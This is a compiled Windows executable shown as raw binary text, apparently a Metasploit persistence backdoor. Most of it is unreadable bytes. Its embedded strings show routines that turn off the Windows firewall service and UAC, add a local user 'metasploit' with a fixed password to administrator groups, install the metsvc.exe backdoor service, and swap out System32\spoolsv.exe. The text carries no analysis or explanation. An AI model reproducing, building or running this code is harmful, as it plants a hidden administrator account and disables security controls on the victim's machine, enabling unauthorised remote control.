MZ����@���	�!�
L�!This program cannot be run in DOS mode.

$_���i��i��i�<V��i��h�
�i�����i�����i�Rich�i�PEL
��N�

	 @@@�"P0\ P.text: `.rdata @@.reloc�0@BU����hP @hp @� @P�, @�E��}�t�E�P�U�h
��`���Q�$ @��`���R�0 @Džl�����\���Ph
jh| @h�� @j��l���Qjjh� @��\���R� @��\���P� @DžX����M�Qh
jh� @h�� @j��X���Rjjh� @�E�P� @�M�Q� @�E�� @�E�!@�E�
�E��E�0!@�E�

�E�j�U�Rj
j��E��}���DžL���D��L���Pj�( @��(�����L���Q��(���Rjj� @DžD���
DžH���
��,���P��H���Q��0���R��D���P��8���Q��(���Rj� @�E���P���j
��P���Qj��8���Rj�Z
Dž$������$�����
��$�����$���Ds
��$����D
���Dž ������ �����
�� ����� ���s�� ���Ƅp����؃}�t,��p���Q�U�Rjjhjjjh4!@hP!@�4 @�*��p���P�M�Qjjhjjjhd!@h�!@�4 @�E�D�U�Rj�( @��T����E�P��T���Qjj� @jjj��T���Rj
j
h�!@� @jjj��T���Pj
j
h�!@� @h�!@h�!@�  @��uh�!@�< @jd�8 @�׋�]��%H @�%D @Z#�#�#�#�#r#*##�"#�"�"�"�">#�#�#Wow64DisableWow64FsRedirectionkernel32SYSTEM\CurrentControlSet\Services\MpsSvcStartSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUAmetasploitp@SSw0rd!123456metsvc.exe install-serviceSysWOW64\metsvc.exemetsvc.exe install-serviceSystem32\metsvc.exeSystem32\spoolsv.exeSystem32\spoolsv.bak.exeSystem32\spoolsv.exeSystem32\spoolsv.bak.exeSystem32\spoolsv.exe�"L# d"�# �"$D Z#�#�#�#�#r#*##�"#�"�"�"�">#�#�#�GetWindowsDirectoryA!Sleep�CreateProcessA�SetCurrentDirectoryA GetProcAddress�LocalAllocMoveFileA�
GetModuleHandleA�DeleteFileAKERNEL32.dll�SetNamedSecurityInfoAwRegSetValueExAZRegOpenKeyExA�
LookupAccountSidW*RegCloseKeyCreateWellKnownSidADVAPI32.dll�NetUserAdd�NetLocalGroupAddMembersNETAPI32.dll\
0000>0K0h0s0�0�0�0�0�0�0�0�0�0�0
1P1n1�1`2e2k2�2�2�2�2�2�2�2�2�233
333$30363